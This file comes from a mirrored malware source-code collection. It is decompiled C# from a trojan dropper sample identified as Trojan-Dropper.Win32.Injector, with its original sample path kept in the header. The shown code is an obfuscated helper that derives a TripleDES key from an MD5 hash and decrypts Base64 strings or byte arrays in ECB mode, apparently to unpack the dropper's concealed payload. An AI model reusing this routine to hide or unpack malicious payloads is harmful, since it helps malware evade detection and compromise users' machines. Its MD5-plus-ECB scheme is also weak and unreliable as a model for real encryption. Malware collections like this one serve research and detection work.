mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
37 lines
1.7 KiB
C#
37 lines
1.7 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type:
|
||
// Assembly: crypted, Version=4.9.4.5, Culture=neutral, PublicKeyToken=null
|
||
// MVID: 39ED6F8C-EF75-4E88-8706-EBD78B0ECCC1
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.Win32.Injector.elwj-8012f8d9cbc27bdc5242e812bac1932349108916abac095e249196a1ff3b491d.exe
|
||
|
||
using Microsoft.VisualBasic.CompilerServices;
|
||
using System;
|
||
using System.Security.Cryptography;
|
||
using System.Text;
|
||
|
||
[StandardModule]
|
||
internal sealed class \u0006
|
||
{
|
||
public static string \u0002(string _param0, string _param1)
|
||
{
|
||
TripleDESCryptoServiceProvider cryptoServiceProvider1 = new TripleDESCryptoServiceProvider();
|
||
MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider();
|
||
cryptoServiceProvider1.Key = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(_param1));
|
||
cryptoServiceProvider1.Mode = CipherMode.ECB;
|
||
ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor();
|
||
byte[] inputBuffer = Convert.FromBase64String(_param0);
|
||
return Encoding.ASCII.GetString(decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length));
|
||
}
|
||
|
||
public static byte[] \u0002(byte[] _param0, string _param1)
|
||
{
|
||
TripleDESCryptoServiceProvider cryptoServiceProvider1 = new TripleDESCryptoServiceProvider();
|
||
MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider();
|
||
cryptoServiceProvider1.Key = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(_param1));
|
||
cryptoServiceProvider1.Mode = CipherMode.ECB;
|
||
ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor();
|
||
byte[] inputBuffer = _param0;
|
||
return decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length);
|
||
}
|
||
}
|